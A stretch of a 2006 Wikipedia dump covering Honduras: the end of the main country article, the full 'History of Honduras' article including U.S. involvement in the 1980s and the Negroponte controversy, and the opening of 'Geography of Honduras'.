The [[Pre-Columbian]] city of '''[[Copán]]''' is a locale in extreme western [[Honduras]], in the [[Copán Department]], near to the [[Guatemala]]n border. It is the site of a major [[Maya civilization|Maya]] kingdom of the Classic era. The ancient kingdom, named ''Xukpi'' (Corner-Bundle), flourished from the [[5th century]] AD to the early [[9th century]], with antecedents going back to at least the [[2nd century]] AD. The Maya civilization decayed, and by the time the Spanish came to Honduras, the once great [[city-state]] of Copán was overrun by the jungle. 

After the Spanish discovery and subsequent conquest, Honduras became part of [[Spain]]'s vast empire in the [[New World]]. The Spanish ruled Honduras for approximately 3 centuries.

Honduras became a state in the [[United Provinces of Central America]] in [[1821]], and an independent republic with the demise of the union in [[1838]]=[[1840]].

The [[Football war]] of 1969 was fought with El Salvador. It lasted approximately 100 hours. During the [[1980s]], Honduras was used as a large military base of the United States to create, train and support the anti-[[Sandinista]] [[contras]] fighting the [[Nicaragua]]n government and to support the government of [[El Salvador]] forces fighting against the [[guerrilla warfare|guerrillas]] trying to oust a long succession of violently repressive military dictatorships, and military backed governments.

[[Hurricane Fifi]] which caused severe damage skimmed the northern coast of Honduras on September 18 and 19, 1974. Later,
[[Hurricane Mitch]] devastated the country and wrecked its [[economic system|economy]] in [[1998]].

==Politics==
''Main article:[[Politics of Honduras]]''
''See also: [[Elections in Honduras]] [[President of Honduras]]''

A Presidential and general election was held on [[November 27]], [[2005]]. [[Manuel Zelaya ]] of the [[Liberal Party of Honduras]] (Partido Liberal de Honduras: PLH) won  with [[Porfirio Pepe Lobo]] of the [[National Party of Honduras]] (Partido Nacional de Honduras: PNH) coming in second. The PNH challenged the election results, and Lobo Sosa did not concede until December 7.  Towards the end of December the government finally released the total ballot count, giving Zelaya the official victory.  Zelaya was inaugurated as Honduras' new president on [[January 27]], [[2006]].

Honduras has five registered political parties: PNH, PLH, Social Democrats (Partido Innovación Nacional y Social Demócrata: PINU-SD), Social Christians (Partido Demócrata-Cristiano: DC), and Democrat Unification (Partido Unificación Democrática: UD). The PNH and PLH have ruled the country for decades. In the last 23 years, Honduras has had four Liberal presidents: [[Roberto Suazo Córdova]], [[José Azcona del Hoyo]], [[Carlos Roberto Reina]], and [[Carlos Roberto Flores]], and two Nationalists: [[Rafael Leonardo Callejas Romero]] and [[Ricardo Maduro]]. The elections have been full of controversies including, questions about whether Azcona was born in Honduras or Spain, and whether Maduro should have been able to stand given he was born in [[Panama]]. 

Roberto Suazo Cordoba ruled the country during the so called &quot;Lost Decade&quot; when hundreds of human rights violations were committed, and alleged political crimes were common place. In [[1986]], Azcona del Hoyo was elected via the &quot;Formula B,&quot; when Azcona did not obtain the majority of votes. However, 5 Liberal candidates and 4 Nationalist were running for president at that time, and the &quot;Formula B&quot; required all votes from all candidates from the same party to be added together. Azcona then became the president. In [[1990]], Callejas won the election under the slogan &quot;Llegó el momento del Cambio,&quot; (The time for Change has arrived), which was heavily criticized for resembling El Salvador's &quot;ARENAs&quot; political campaign. Callejas Romero gained a reputation for illicit enrichment. Callejas has been the subject of several scandals and accusations in the last two decades. In [[1998]], during Flores Facusse's mandate, [[Hurricane Mitch]] hit the country and all indications of economic growth were washed out in a period of 5 days. 

In 2004 separate ballots were used for mayors, congress, and president. Many more candidates were registered for the 2005 election.

The Nationalist and Liberal parties are distinct [[political party|political parties]] with their own dedicated band of supporters, but some have pointed out that their interests and policy measures throughout the 23 years of uninterrupted [[democracy]] have been very similar. They are often seen as primarily serving the interests of their own members, who receive jobs when their party gains power and lose them again when the other party does so. Both are seen as supportive of the elite who owns most of the wealth in the country, with neither of them promoting socialist ideals, even though in many ways Honduras is run like a democratic version of an old socialist state, with price controls and nationalized electric and land-line telephone services.  

However, President Maduro's administration &quot;de-nationalized&quot; the telecommunications sector in a move to promote the rapid diffusion of telecom services to the Honduran population.  As of November 2005, there were around 10 private-sector telecom companies in the Honduran market, including two mobile phone companies.

==Subdivisions==
''Main articles: [[Departments of Honduras]] and [[Municipalities of Honduras]]''

Honduras is divided into 18 [[department]]s and 298 [[municipality|municipalities]]. The largest department by surface area is [[Olancho department]] and by population is [[Francisco Morazán department]] and the smallest by both surface area and population is the [[Islas de la Bahía department]].

==Geography==
[[Image:Honduras_sm04.png|thumb|200px|right|Map of Honduras]]
[[image:Honduras_rel_1985.jpg|thumb|right|200px|Shaded relief map of Honduras, 1985]]
''Main article: [[Geography of Honduras]]''

Honduras borders the [[Caribbean Sea]] on the north coast and the [[Pacific Ocean]] on the south through the Gulf of Fonseca. The [[climate]] varies from [[tropical]] in the [[lowlands]] to [[temperate]] in the mountains. The central and southern regions are relatively hotter and less humid than the northern coast. 

Honduran terrain consists mainly of mountains (~80%), but there are narrow plains along the coasts, a large undeveloped lowland jungle [[La Mosquitia]] region in the northeast and the heavily populated lowland [[San Pedro Sula]] valley in the northwest. In La Mosquitia lies the [[UNESCO]]-protected Biosphere of [[Río Plátano]], with the [[Río Negro (Honduras/Nicaragua)|Río Negro]] dividing the country from [[Nicaragua]]. See [[Rivers of Honduras]].

Natural resources include [[timber]], [[gold]], [[silver]], [[copper]], [[lead]], [[zinc]], [[iron]] [[ore]], [[antimony]], [[coal]], [[fish]], and [[hydropower]].

==Economy==
[[image:Honduras_econ_1983.jpg|thumb|right|200px|Economic activity map of Honduras, 1983]]
''Main article: [[Economy of Honduras]]''

Honduras is one of the poorest countries in the Americas, with GDP per capita at [[United States dollar|US$]]2050 per year (1999).
Under the presidency of [[Ricardo Maduro]] the economy has continued to grow slowly but the distribution of wealth remains very polarized with average wages remaining very low. Economic growth is roughly 5% a year, but many people remain below the poverty line. It is estimated that there are more than 1.2 million people who are [[Unemployment|unemployed]].

The [[World Bank]] and the [[International Monetary Fund]] classified Honduras as one of the [[Heavily Indebted Poor Countries]] eligible for [[debt relief]], and this debt relief was given in [[2005]].

Both the electricity services (ENEE) and land line telephone services (Hondutel) are run by government monopolies, with the former receiving heavy subsidies from the government because of its chronic financial problems. There are price controls around the price of [[petrol]], and other temporary price controls of basic commodities are often passed for short periods by the [[National Congress of Honduras|Congress]].

After years of declining against the US dollar the [[Lempira]] has stabilized at around 19 Lempiras per dollar.

==Demographics==
''Main article: [[Demographics of Honduras]]''

[[image:Honduras_land_1983.jpg|thumb|right|200px|Land use map of Honduras, 1983]]

The population of Honduras is predominantly of [[Mestizo]] descent and [[Roman Catholic]] faith, but there are also several [[Evangelicalism|Evangelical]] denominations. Along the northern coast are communities of English speakers who have maintained their culture since Honduras was part of the [[British Empire]].  Groups of [[Garífuna]] live along the north coast, where there are also many [[Afro-Latin American]]s. In the 20th century, Garífunas became part of Honduras' projected identity through theatrical presentations such as [[Louvavagu]] in order to help boost [[tourism]]. [[Asian]]s in Honduras are mostly of [[overseas Chinese|Chinese]] and [[ethnic Japanese|Japanese]] descent. Hundreds of families can find their roots in [[Lebanon]] or [[Palestine (region)|Palestine]], in Middle Eastern families called &quot;turcos&quot;. The so-called &quot;Turcos&quot; along with the Jewish minority population influence the Honduran economy and politics by having the highest income. Many others have connections to [[Spain]], the [[United States]] (especially [[New Orleans]], [[Florida]] and [[California]]) and the [[Cayman Islands]].
Even with all the &quot;new-comers&quot; in the country, the [[indigenous peoples]] of Honduras are widely scattered throughout the country. Tribes like Chortís (Mayan descent), Payas or Pech, Tolupanes or Xicaques/Jicaques, Lencas, Sumos or Tawahkas, and Olmecas. For the most part, these tribes live in extreme poverty due to their remote locations and uninterested government.

==Culture==
''Main article: [[Culture of Honduras]]''

The patron saint of Honduras is the [[Virgin of Suyapa]]. 

A Honduran can be called a ''Catracho'' or ''Catracha''. The word is derived from the last name of Honduran General [[Florencio Xatruch]], who led Honduran armed forces in defense of Honduran territories in [[1857]] against an attempted invasion led by North American filibuster [[William Walker (soldier)|William Walker]]. The nickname is considered complimentary, not derogatory.  

One of Honduras' best known writers is [[Ramón Amaya Amador]]. Other writers include [[Roberto Sosa]], [[Eduardo Bähr]], [[Amanda Castro]], [[Javier Abril Espinoza]], and [[Roberto Quesada]].

[[Oscar Andres Rodriguez]] is a [[Cardinal (Catholicism)|Cardinal]] who was a potential [[papabile|candidate]] for [[Pope]] in the [[Papal conclave, 2005]].

Not as famous as the cardinal, but also noteworthy, is [[Salvador Moncada]], a world-renowned scientist with authorship of more than 12 highly cited papers, including his work on [[nitric oxide]]. His research on heart-related drugs includes the development of Viagra. Moncada works at the [[University College]] of London and funds an NGO in Tegucigalpa.

''[[Honduras This Week]]'' is a weekly [[English language]] [[newspaper]] that has been [[publishing|published]] now for 17 years in Tegucigalpa.

The [[Federación Nacional Autónoma de Fútbol de Honduras]] runs the popular [[football]] league while the [[Honduras national football team]] represents the country internationally. Local teams include [[Club Deportivo Marathón]], [[CD Motagua]], [[Club Olimpia Deportivo]], [[C.D. Platense]] and [[Real C.D. España]].

==Environment==
- Natural resources 
  - Forests
  - Water
  - Minerals
  - Fisheries  

- Biological diversity and conservation 
  - Ecosystems
   - Forests
   - Coasts
   - Wetlands, lakes and rivers 
   - Wildlife

Sustainable Development
  - Current environmental issues
  - Poverty and environmental degradation
  - Environmental policy and law enforcement
  - NGO's and civil engagement 


The Mesoamerican region, the landmass that extends from Southern Mexico to Panama, it is known for its biological diversity and thus is considered as a &quot;biodiversity hotspot&quot;. Like the other countries in the region, Honduras contains vast biological resources and several indigenous cultures. This 112,092 sq km country hosts 6,000-8,000 species of [[vascular plants]], around 250 reptiles and amphibians, between 650-700 bird species, and 110 mammal species, half of them are bat species.

In the northeastern region of [[La Mosquitia]] lies the [[Río Plátano Biosphere Reserve]], a lowland rainforest which provides home to a great diversity of life. Sometimes called &quot;The Last Lungs of Central America&quot;, this Reserve was added to the [[UNESCO World Heritage]] Sites List in 1982.

==Soccer==
Soccer is the most popular sport in Honduras. In the following articles you'll find some information of teams, competitions and players.
*[[Liga Profesional de Honduras]]
*[[Hispano FC]]
*[[C.D. Platense]]
*[[Universidad NAH]]
*[[Municipal Valencia]]
*[[C.D. Victoria]]
*[[C.D. Vida]]
*[[Liga de Ascenso Honduras]]
*[[C.D. Arsenal]]
*[[Social Sol]]
*[[Deportes Savio]]
*[[Atletico Olanchano]]
*[[Motagua Reservas]]
*[[Juticalpa Tulin]]
*[[Olimpia Reservas]]
*[[C.D. Federal]]
*[[Honduras Salzburg]]
*[[Boludos United]]
*[[Prinx United]]
*[[Honduras05-06apertura]]
*[[Honduras04-05clausura]]
*[[Honduras04-05apertura]]
*[[Honduras03-04clausura]]
*[[Honduras03-04apertura]]
*[[Honduras 02-03 clausura]]
*[[Edgar Álvarez]]
*[[Víctor Coello]]
*[[Estadio Olímpico Metropolitano]]
*[[E.I.S.]]
*[[Infantil 0506]]

==Miscellaneous topics==
* [[Communications in Honduras]]
* [[Elections in Honduras]]
* [[Foreign relations of Honduras]]
* [[Flag of Honduras]]
* [[Garífunas]]
* [[Garifuna music]]
* [[Honduran lempira]] 
* [[Liberalism in Honduras]]
* [[List of Honduras-related topics]]
* [[List of Schools in Honduras]]
* [[List of political parties in Honduras]]
* [[Mara Salvatrucha]]
* [[Military of Honduras]]
* [[Music of Honduras]]
* [[Project Honduras]]
* [[Transportation in Honduras]]

''Note: Some of these articles are based on text from the [[CIA World Factbook]] 2000 and the U.S. Department of State website.''

== Further Reading ==
{{sisterlinks|Honduras}}
* ''Adventures in Nature: Honduras'' James D. Gollin
* ''Don't Be Afraid, Gringo: A Honduran Woman Speaks From The Heart : The Story of Elvia Alvarado'' Medea Benjamin
* ''Honduras: The Making of a Banana Republic'' Alison Acker
* ''Honduras: State for Sale'' Richard Lapper, James Painter
* ''Inside Honduras'' Kent Norsworthy and Tom Berry
* ''La Mosquitia: A Guide to the Savannas, Rain Forest and Turtle Hunters'' Derek Parent
* ''Moon Handbooks: Honduras'' Christopher Humphrey
* ''Reinterpreting the Banana Republic: Region and State in Honduras, 1870-1972'' Dario A. Euraque
* ''Seven Names for the Bellbird: Conservation Geography in Honduras'' Mark Bonta
* ''Ulysses Travel Guide: Honduras'' Eric Hamovitch
* ''The United States in Honduras, 1980-1981: An Ambassador's Memoir'' Jack R. Binns
* ''The War of the Dispossessed: Honduras and El Salvador, 1969'' Thomas P. Anderson

==External links==
* [http://www.country-data.com/frd/cs/hntoc.html#hn0009 Country Data]
* [http://www.hondurasnews.com Honduras News]
* [http://www.marrder.com/htw/ Honduras This Week] Internal article is [[Honduras This Week]]


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  </page>
  <page>
    <title>History of Honduras</title>
    <id>13395</id>
    <revision>
      <id>37557001</id>
      <timestamp>2006-01-31T19:39:10Z</timestamp>
      <contributor>
        <username>Bobblewik</username>
        <id>51235</id>
      </contributor>
      <minor />
      <comment>reduce links to 'non-preference' date elements</comment>
      <text xml:space="preserve">{{POV-because|The major source is the U.S. State Department, uncited. It mentions only the good the U.S. has done for Central America / Honduras, and none of the bad, and is written from an American and not an international or an Honduran perspective.}}

==Pre-Colombian times==
In [[Pre-Columbian]] times, what is now [[Honduras]] was part of the [[Mesoamerica]]n cultural area. The west contained the famous [[Maya civilization]] which are now the pre-Columbian city state ruins of [[Copán]], that flourished for hundreds of years until the early 9th century. Remains of other Pre-Columbian cultures are found throughout the country, notably at sites like [[La Travesía]] and the Ulua valley. A collection of the nation's pre-Hispanic artifacts can be found at the National Museum in [[Tegucigalpa]].

==Spanish period==
[[Christopher Columbus]] landed on mainland [[Honduras]] near modern [[Trujillo, Honduras|Trujillo]] in 1502, giving the country its name (which means depths) in reference to the deep water off the coast. Spaniard [[Hernán Cortés]] arrived in 1524. Some local tribes and nations continued to fight the Spanish invaders through the late 1530s; one native defender, [[Lempira]], was leader of the [[Lenca]] people, and is now considered a national hero whom the currency is named after. As the Spanish began founding settlements along the coast Honduras came under the control of the Captaincy General of Guatemala. The cities of [[Comayagua]] and [[Tegucigalpa]] developed as early mining centers.

==Independence==
Honduras, along with the other Central American provinces, gained independence from Spain in 1821; it then briefly was annexed to the Mexican Empire. In 1823, Honduras joined the newly formed [[United States of Central America|United Provinces of Central America]]. Before long social and economic differences between Honduras and its regional neighbors exacerbated harsh partisan strife among its leaders, bringing about the federation's collapse in 1838-[[1839|39]]. General [[Francisco Morazán]], a Honduran national hero, led unsuccessful efforts to maintain the federation. Restoring Central American unity remained the officially stated chief aim of Honduran foreign policy until after [[World War I]].

In 1888 a projected railroad line from the Caribbean coast to the capital, [[Tegucigalpa]], ran out of money when it reached [[San Pedro Sula]], resulting in its growth into the nation's main industrial center and second largest city.

Since independence, Honduras has had 300 internal rebellions, [[civil wars]], and changes of government -- more than half occurring during the 20th century. Traditionally lacking both an economic infrastructure and social and political integration, Honduras's agriculturally based economy came to be dominated by [[United States]] companies, notably [[United Fruit Company]] and [[Standard Fruit Company]], which established vast banana plantations along the north coast. The economic dominance and political influence of these companies was so great from the late 19th until the mid 20th century that it coined the term [[banana republic]]. During the relatively stable years of the [[Great Depression]], authoritarian General [[Tiburcio Carías Andino]] controlled Honduras. His ties to dictators in neighboring countries and to U.S. banana companies helped him maintain power until 1948. By then, provincial military leaders had begun to gain control of the two major parties, the [[National Party of Honduras]] (PNH) and the [[Liberal Party of Honduras]] (PLH).

==From military to civilian rule==
In October 1955, after a general strike by banana workers on the north coast in 1954, young military reformists staged a coup that installed a provisional junta. The [[death penalty]] was abolished in 1956, though the last person to be executed was in 1940 (The current PNH presidential candidate [[Porfirio &quot;Pepe&quot; Lobo]] wants to bring it back). There were constituent assembly elections in 1957 which appointed [[Ramon Villeda Morales]] as [[President of Honduras|President]], and itself becoming a [[Congress of Honduras|national Congress]] with a 6-year term. The PLH ruled during 1957-63. The military began to become a professional institution independent of politics, with the newly created military academy graduating its first class in 1960. In October 1963, conservative military officers preempted constitutional elections and deposed Villeda in a bloody coup. These officers exiled PLH members and governed under General [[Oswaldo López Arellano]] until 1970. 

In July 1969 Honduras was invaded by [[El Salvador]] in the short [[Football war]]. Tensions in the aftermath of the conflict remain.

A civilian president for the PNH, [[Ramón Ernesto Cruz Uclés]], took power briefly in 1970 until in December 1972 López staged another coup. This time round he adopted more progressive policies, including land reform.

López's successors continued armed forces modernization programs, building army and security forces, and concentrating on Honduran air force superiority over its neighbors. During the governments of General [[Juan Alberto Melgar Castro]] (1975-78) and General [[Policarpo Paz García]] (1978-83) that Honduras built most of its physical infrastructure and electricity and terrestrial telecommunications systems, both of which are state monopolies. The country experienced its  economic growth during this period, with greater international demand for its products and the increased availability of foreign commercial capital.

=== The 1980s ===

In 1979 the country return  to civilian rule. A constituent assembly was popularly elected in April 1980 and general elections were held in November 1981. A new constitution was approved in 1982 and the PLH government of [[Roberto Suazo Córdova]] assumed power.

Between 1979 and 1985, under [[John Negroponte]]'s appointment as U.S. diplomat from 1981 to 1985, U.S. military and economic aid to Honduras jumped from $31 million to $282 million. Honduras agreed in exchange to become a base for an estimated 15,000 [[Nicaragua]]n [[Contras]], providing logistical and intelligence support, and joining the U.S. military in joint maneuvers. Negroponte himself supervised the construction of the El Aguacate air base where Contras were trained (they also used [[Lepaterique]], where Argentinian ''[[Batallón de Inteligencia 601]]'' was training Contras). Battalion 3-16, a special intelligence unit involved in the assassination of hundreds of people, including U.S. missionaries, was trained by the [[CIA]] and the [[Argentine]] military.John Negroponte, currently[[United States Director of National Intelligence|Director of National Intelligence]], was later accused by the Honduras Commission on Human Rights of human rights violations. In August 2001, 185 corpses, including two Americans, were discovered at the Aguacate base. Between 1979 and 1985, U.S. [[development aid]] fell from 80% of the total to 6%.

In May 1982, a nun, Sister Laetitia Bordes, who had worked for ten years in [[El Salvador]], went on a fact-finding delegation to Honduras to investigate the whereabouts of thirty Salvadoran nuns and women of faith who fled to Honduras in 1981 after Archbishop [[Óscar Romero]]'s assassination. Negroponte claimed the embassy knew nothing about the nuns. However, in a 1996 interview with ''[[The Baltimore Sun]]'', Negroponte's predecessor, Jack Binns, said that a group of Salvadorans, among whom were the women Bordes had been looking for, were captured on [[April 22]], [[1981]], and savagely tortured by the DNI, the Honduran Secret Police, and then later thrown out of helicopters alive.


In 1995, ''The Baltimore Sun'' published an extensive investigation of U.S. activities in Honduras. 
Speaking of Negroponte and other senior U.S. officials, an ex-Honduran congressman, Efraín Díaz, was quoted as saying:

:''Their attitude was one of tolerance and silence. They needed Honduras to loan its territory more than they were concerned about innocent people being killed.

The ''Sun's'' investigation found that the CIA and U.S. embassy knew of numerous abuses but continued to support Battalion 3-16 and ensured that the embassy's annual human rights report did not contain the full story. 

Substantial evidence subsequently emerged to support the contention that Negroponte was aware that serious violations of human rights were carried out by the Honduran government, with the support of the CIA, if perhaps not with its direct approval.  [[United States Senate|Senator]] [[Christopher Dodd]] of Connecticut, on [[September 14]], 2001,  as reported in the ''Congressional Record'', aired his suspicions on the occasion of Negroponte's nomination to the position of UN ambassador:

:''Based upon the Committee's review of State Department and CIA documents, it would seem that Ambassador Negroponte knew far more about government perpetuated human rights abuses than he chose to share with the committee in 1989 or in Embassy contributions at the time to annual State Department Human Rights reports.'' [http://www.fas.org/irp/congress/2001_cr/s091401.html]

Among other evidence, Dodd cited a cable sent by Negroponte in 1985 that made it clear that Negroponte was aware of the threat of &quot;future human rights abuses&quot; by &quot;secret operating cells&quot; left over by General Alvarez after his deposition in 1984.

In April 2005, as the Senate confirmation hearings for the National Intelligence post took place, hundreds of documents were released by the State Department in response to a [[Freedom of Information Act (United States)|FOIA]] request by the ''[[Washington Post]]''. The documents, cables that Negroponte sent to Washington while serving as ambassador to Honduras, indicated that he played a more active role than previously known in managing the US covert war against the [[Sandinista National Liberation Front|Sandinistas]]. According to ''Post'', the image of Negroponte that emerges from the cables is that of an

:''exceptionally energetic, action-oriented ambassador whose anti-communist convictions led him to play down human rights abuses in Honduras, the most reliable U.S. ally in the region. There is little in the documents the State Department has released so far to support his assertion that he used &quot;quiet diplomacy&quot; to persuade the Honduran authorities to investigate the most egregious violations, including the mysterious disappearance of dozens of government opponents. [http://www.washingtonpost.com/wp-dyn/articles/A44944-2005Apr11.html]

The ''[[New York Times]]'' wrote that the documents revealed
 
:''a tough cold warrior who enthusiastically carried out President Ronald Reagan's strategy. They show he sent admiring reports to Washington about the Honduran military chief, who was blamed for human rights violations, warned that peace talks with the Nicaraguan regime might be a dangerous &quot;Trojan horse&quot; and pleaded with officials in Washington to impose greater secrecy on the Honduran role in aiding the contras. 

:''The cables show that Mr. Negroponte worked closely with [[William J. Casey]], then director of central intelligence, on the Reagan administration's anti-Communist offensive in Central America. He helped word a secret 1983 presidential &quot;finding&quot; authorizing support for the contras, as the Nicaraguan rebels were known, and met regularly with Honduran military officials to win and retain their backing for the covert action. [http://www.nytimes.com/2005/04/13/politics/13contra.html?]

According to [[investigative journalist]] [[Robert Parry]] (Consortiumnews.com) the cables suggest that Negroponte

:''was so committed to his mission of making Honduras a base for Nicaraguan contra rebels that he routinely ignored troubling evidence about the Honduran government. At the time, the Reagan administration also had no interest in hearing critical information about key allies, like Honduras.

:''During his four years in Honduras, Negroponte often cast &amp;#8220;a friendly eye&amp;#8221; at the Honduran government, insisting that he was unaware of evidence of &amp;#8220;death squad&amp;#8221; operations that eliminated hundreds of political dissidents. He also turned a blind eye to the military&amp;#8217;s role in making Honduras a way station for drug traffickers.[http://www.consortiumnews.com/2005/041305.html]

===Suazo===
As the November 1985 election approached, the PLH could not settle on a presidential candidate and interpreted election law as permitting multiple candidates from any one party. The PLH claimed victory when its presidential candidates collectively outpolled the PNH candidate, [[Rafael Leonardo Callejas]], who received 42% of the total vote. [[José Azcona del Hoyo]], the candidate receiving the most votes (27%) among the PLH, assumed the presidency in January 1986. With strong endorsement and support from the Honduran military, the Suazo Administration ushered in the first peaceful transfer of power between civilian presidents in more than 30 years.

Suazo, relying on U.S. support, created ambitious social and economic development projects to help with a severe economic recession and with the perceived threats of regional instability. Honduras became host to the largest [[Peace Corps]] mission in the world and [[non-governmental organization]]s and international [[voluntary]] agencies proliferated.

===Callejas===
In January 1990 [[Rafael Leonardo Callejas]], having won the presidential election, took office, concentrating on economic reform, reducing the deficit. He began a movement to place the military under [[civilian control of the military|civilian control]] and laid the groundwork for the creation of the public prosecution service.

===Reina===
In 1993 PLH candidate [[Carlos Roberto Reina]] was elected with 56% of the vote against PNH  contender Oswaldo Ramos Soto. He won on a platform calling for a &quot;Moral Revolution,&quot; making active efforts to prosecute corruption and pursued those responsible for alleged human rights abuses in the 1980s. 

The Reina administration successfully increased civilian control over the armed forces, transferring o the national police from military to civilian authority. In 1996 Reina named his own defense minister, breaking the precedent of accepting the nominee of the armed forces leadership.

His administration substantially increased Central Bank net international reserves, reduced inflation to 12.8% a year, restored a beter pace of economic growth (about 5% in 1997), and held down spending to achieve a 1.1% non-financial public sector deficit in 1997.

===Flores===
PLH's [[Carlos Roberto Flores]] took office on [[January 27]], [[1998]], as Honduras' fifth democratically elected President since free elections were restored in 1981, with a 10% margin over his main opponent PNH nominee [[Nora Gúnera de Melgar]] (the widow of former leader [[Melgar Castro]]). Flores inaugurated [[International Monetary Fund]] (IMF) programs of reform and modernization of the Honduran Government and economy, with emphasis on maintaining the country's fiscal health and improving international competitiveness.

In October 1998, [[Hurricane Mitch]] devastated Honduras, leaving more than 5,000 people dead and 1.5 million displaced. Damages totaled nearly $3 billion. International donors came forward to assist in rebuilding infrastructure, donating [[US$]]1400 million in 2000..

===Maduro===
In November 2001 the national party won presidential and parliamentary elections. The PNH gained 61 seats in Congress and the PLH won 55. The PLH candidate Rafael Pineda Ponce was defeated by the PNH candidate [[Ricardo Maduro]], who took office in January 2002. On  [[November 27]], [[2005]] the the PLH candidate [[Manuel Zelaya]] beat the PNH candidate and current Head of Congress [[Porfirio Pepe Lobo]], and will become the next President on [[January 27]], [[2006]].

==References==
{{unreferenced}}

{{StateDept}}

[[Category:History of Honduras|*]]

[[es:Historia de Honduras]]
[[fr:Histoire du Honduras]]
[[nl:Geschiedenis van Honduras]]
[[sv:Honduras historia]]</text>
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  </page>
  <page>
    <title>Geography of Honduras</title>
    <id>13396</id>
    <revision>
      <id>35571498</id>
      <timestamp>2006-01-17T19:03:59Z</timestamp>
      <contributor>
        <username>RexNL</username>
        <id>241337</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/216.236.240.254|216.236.240.254]] ([[User talk:216.236.240.254|talk]]) to last version by SqueakBox</comment>
      <text xml:space="preserve">[[Image:Honduras_sm04.png|thumb|right|300px|Map of Honduras]]
[[image:Honduras_rel_1985.jpg|thumb|right|300px|Shaded relief map of Honduras, 1985]]
[[image:Honduras_econ_1983.jpg|thumb|right|300px|Economic activity map of Honduras, 1983]]
[[image:Honduras_land_1983.jpg|thumb|right|300px|Land use map of Honduras, 1983]]

'''[[Honduras]]''' is a country situated in [[Central America]] Honduras borders the [[Caribbean Sea]] and the North [[Pacific Ocean]].  [[Guatemala]] lies to the west, [[Nicaragua]] to the south east and [[El Salvador]] to the south west. It is the second largest Central American republic. The triangular-shaped country has a total area of about 112,000 square kilometers. The 735-kilometer northern boundary is the Caribbean coast extending from the mouth of the Río Motagua on the west to the mouth of the Río Coco on the east, at Cabo Gracias a Dios. The 922-kilometer southeastern side of the triangle is the land border with Nicaragua; it follows the Río Coco near the Caribbean Sea and then extends southwestward through mountainous terrain to the Golfo de Fonseca on the Pacific Ocean. The southern apex of the triangle is a 153- kilometer coastline at the Golfo de Fonseca, which opens onto the Pacific Ocean. The western land boundary consists of the 342-kilometer border with El Salvador and the 256-kilometer border with Guatemala.

Honduras controls a number of islands as part of its offshore territories. In the Caribbean Sea, the islands of Roatán (Isla de Roatán), Utila, and Guanaja together form Islas de la Bahía (Bay Islands), one of the eighteen departments into which Honduras is divided. Roatán, the largest of the three islands, is fifty kilometers long by five kilometers wide. The Islas de la Bahía archipelago also has a number of smaller islands, among them the islets of Barbareta (Isla Barbareta), Santa Elena (Isla Santa Elena), and Morat (Isla Morat). Farther out in the Caribbean are the Islas Santanillas, formerly known as Swan Islands. A number of small islands and keys can be found nearby, among them Cayos Zapotillos and Cayos Cochinos. In the Golfo de Fonseca, the main islands under Honduran control are El Tigre, Zacate Grande (Isla Zacate Grande), and Exposición (Isla Exposición). 

'''[[Geographic coordinates]]''':
{{coor dm|15|00|N|86|30|W|type:country}}

==Boundary disputes==
A two-centuries-old border dispute between El Salvador and Honduras appears to have been resolved in 1993. At issue in this territorial dispute was ownership of six contested bolsones (pockets) of land encompassing a total area of 436.9 square kilometers as well as two islands (Meanguera and El Tigre) in the Golfo de Fonseca, and right of passage for Honduras to the Pacific Ocean from its southern coast.

The origins of the boundary dispute date back to the eighteenth century when colonial boundaries were ill defined. In the late nineteenth century, numerous attempts at mediation failed to settle the dispute. The issue continued to fester in the twentieth century and was a contributing factor in the outbreak of war between the two countries in 1969 (see War with El Salvador , ch. 1). The General Peace Treaty, signed by El Salvador and Honduras on October 30, 1980, in Lima, Peru, represented the first real breakthrough on this border dispute. The peace treaty stated that the two parties agreed to submit the boundary dispute to the International Court of Justice (ICJ) in The Hague if they failed to reach a border agreement after five years of negotiations. By 1985 the two countries had not reached an agreement. In 1986 the case reached the ICJ, which handed down a ruling on September 11, 1992. Both countries accepted the ICJ decision, and a commission was established to decide the citizenship of residents of the bolsones.

Of the 436.9 square kilometers in dispute, 300.6 square kilometers were granted to Honduras, and 136.3 were granted to El Salvador. Of the six bolsones, Honduras was awarded complete control of one and approximately 80 percent of another. The remaining four were split with El Salvador. El Salvador was awarded possession of the island of Meanguera, and Honduras was awarded control of the island of El Tigre. More importantly for Honduras, the ICJ ruling assured Honduras's free passage to the Pacific Ocean. The ICJ also decided that the Golfo de Fonseca does not represent international waters because of the two countries' shared history as provinces of the same colonial power and subsequent membership in the United Provinces of Central America. The court ruled, rather, that the Golfo de Fonseca is a condominium, with control being shared by El Salvador, Honduras, and Nicaragua. The latter country also has a coastline on the gulf. The decision allowed for the possibility that the three nations could divide the waters at a later date if they wished to do so.

==Topography==
Honduras has three distinct topographical regions: an extensive interior highland area and two narrow coastal lowlands. The interior, which constitutes approximately 80 percent of the country's terrain, is mountainous. The larger Caribbean lowlands in the north and the Pacific lowlands bordering the Golfo de Fonseca are characterized by alluvial plains.

===Interior Highlands===
The interior highlands are the most prominent feature of Honduran topography. Composing approximately 80 percent of the country's total area, these mountain areas are home to the majority of the population. Because the rugged terrain has made the land difficult to traverse and equally difficult to cultivate, this area has not been highly developed. The soil here is poor; Honduras lacks the rich volcanic ash found in other Central American countries. Until the early part of the twentieth century, the highlands economy consisted primarily of mining and livestock.

In the west, Honduras's mountains blend into the mountain ranges of Guatemala. The western mountains have the highest peaks, with the Pico Congolón at an elevation of 2,500 meters and the Cerro de Las Minas at 2,850 meters. These mountains are woodland covered with mainly pine forests.

In the east, the mountains merge with those in Nicaragua. Although generally not as high as the mountains near the Guatemalan border, the eastern ranges possess some high peaks, such as the Montaña de la Flor at 2,300 meters, El Boquerón (Monte El Boquerón) at 2,485 meters, and Pico Bonito at 2,435 meters.

One of the most prominent features of the interior highlands is a depression that runs from the Caribbean Sea to the Golfo de Fonseca. This depression splits the country's cordilleras into eastern and western parts and provides a relatively easy transportation route across the isthmus. Widest at its northern end near San Pedro Sula, the depression narrows as it follows the upper course of the Río Humuya. Passing first through Comayagua and then through narrow passes south of the city, the depression widens again as it runs along the border of El Salvador into the Golfo de Fonseca.

Scattered throughout the interior highlands are numerous flatfloored valleys, 300 to 900 meters in elevation, which vary in size. The floors of the large valleys provide sufficient grass, shrubs, and dry woodland to support livestock and, in some cases, commercial agriculture. Subsistence agriculture has been relegated to the slopes of the valleys, with the limitations of small-sized holdings, primitive technology, and low productivity that traditionally accompany hillside cultivation. Villages and towns, including the capital, Tegucigalpa, are tucked in the larger valleys.

